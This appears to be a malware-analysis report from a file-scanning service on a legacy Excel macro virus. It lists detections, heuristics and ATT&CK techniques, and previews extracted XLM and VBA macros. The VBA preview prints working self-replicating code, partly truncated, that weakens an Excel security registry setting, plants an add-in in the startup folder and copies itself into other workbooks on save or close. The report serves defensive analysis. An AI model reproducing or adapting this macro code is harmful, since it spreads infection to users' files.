MALICIOUS
380
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
This Excel file contains both Excel 4.0 (XLM) macros and VBA macros, with the XLM macros containing dangerous functions like RUN. The presence of 'Classic.Poppy by VicodinES' and 'The Narkotic Network 1998' in the XLM macro comments suggests a known legacy malware family. The VBA code attempts to write to the registry key HKCU\Software\Microsoft\Office\8.0\Excel\Microsoft Excel\Options6, likely for persistence or configuration. The ClamAV detections further confirm its malicious nature.
Heuristics 7
-
ClamAV: Win.Trojan.Classic-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Classic-1
-
Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
-
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
-
Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUSWorkbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 11311 bytes |
SHA-256: 070ac69a3670e5f9695e623cfd72898fcdb117f3d39b2a114616ff839eb12564 |
|||
Preview scriptFirst 1,000 lines of the extracted script
' 0085 12 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, very hidden - 000 ' 0085 12 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, very hidden - 100 ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, very hidden - VXXXX ' 0085 18 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - üÈÝÐ ' 0085 16 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - „Ç ' 0085 16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - XL4Popp ' 0018 23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 100!C4 ' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 100!C4 ' 0018 26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 100!C31 ' 0018 30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 100!C9 ' 0018 77 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x00\xb0!\xec\x01' ' 0018 41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\x00\x0f\x00\x01\x00\x01\x00' ' 0018 27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 100!A15 ' 0018 28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 100!A26 ' 0018 29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 100!C39 ' 0018 27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 100!C27 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' ... (truncated) |
|||
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 14366 bytes |
SHA-256: 6f9b5b75f23807d719a73003a7d4edc7116a2a3a0d6ee5426209329ff52fc21f |
|||
|
Detection
ClamAV:
Xls.Trojan.Divi-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Private Const cstrSection As String = "Software\Microsoft\Office\8.0\Excel\Microsoft Excel"
Private Const cstrEngine As String = "874.XLS"
Private Const cstrModule As String = "ThisWorkbook"
Private Const cstrKeyName As String = "Options6"
Private Const cstrVolumeData As String = "IVID"
Private Declare Function GetVolumeInformation Lib "KERNEL32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As Long, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As Long, ByVal nFileSystemNameSize As Long) As Long
Private Declare Function RegCloseKey Lib "ADVAPI32.DLL" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKeyEx Lib "ADVAPI32.DLL" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "ADVAPI32.DLL" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "ADVAPI32.DLL" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private WithEvents mapp As Application
Private Sub Workbook_Open()
Dim strEngine As String
Dim wbkEngine As Workbook
Dim cmdEngine As Object
Dim lngRegKey As Long
Dim lngRegType As Long
Dim lngRegValue As Long
Dim lngVolumeID As Long
On Error Resume Next
If (RegOpenKeyEx(&H80000001, cstrSection, 0, &H2001F, lngRegKey) = 0) Then
RegQueryValueEx lngRegKey, cstrKeyName, 0, lngRegType, lngRegValue, 4
RegSetValueEx lngRegKey, cstrKeyName, 0, lngRegType, lngRegValue And Not 8, 4
RegCloseKey lngRegKey
End If
strEngine = UCase$(Application.StartupPath + "\" + cstrEngine)
If UCase$(Me.FullName) = strEngine Then
Set mapp = Application
ElseIf Len(Dir(strEngine)) = 0 Then
Application.ScreenUpdating = False
If Len(Dir(Application.StartupPath, vbDirectory)) = 0 Then MkDir Application.StartupPath
Set wbkEngine = Workbooks.Add
wbkEngine.IsAddin = True
Intrude wbkEngine
GetVolumeInformation Left$(strEngine, InStr(1, strEngine, "\")), 0, 0, lngVolumeID, 0, 0, 0, 0
wbkEngine.CustomDocumentProperties.Add cstrVolumeData + Hex$(lngVolumeID), False, msoPropertyTypeString, ""
wbkEngine.SaveAs strEngine, xlAddIn
wbkEngine.Close
If (lngRegValue And 8) = 8 Then
Set cmdEngine = Me.VBProject.VBComponents(cstrModule).CodeModule
cmdEngine.DeleteLines 1, cmdEngine.CountOfLines
Me.Save
End If
Application.ScreenUpdating = True
Else
CopyVolumesData Workbooks(cstrEngine)
End If
End Sub
Private Sub mapp_WorkbookBeforeSave(ByVal Wb As Excel.Workbook, ByVal SaveAsUI As Boolean, Cancel As Boolean)
On Error Resume Next
Intrude Wb
End Sub
Private Sub mapp_WorkbookBeforeClose(ByVal Wb As Excel.Workbook, Cancel As Boolean)
On Error Resume Next
If Len(Wb.Path) <> 0 Then If Intrude(Wb) Then Wb.Save
End Sub
Private Function Intrude(wbkTarget As Workbook) As Boolean
Dim cmdSource As Object
Dim cmdTarget As Object
On Error Resume Next
Intrude = False
Set cmdSource = Me.VBProject.VBComponents(cstrModule).CodeModule
Set cmdTarget = wbkTarget.VBProject.VBComponents(cstrModule).CodeModule
If cmdTarget.CountOfLines <= 2 Then
cmdTarget.DeleteLines 1, cmdSource.CountOfLines
cmdTarget.AddFromString cmdSource.Lines(1, cmdSource.CountOfLines)
CopyVolumesData wbkTarget
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.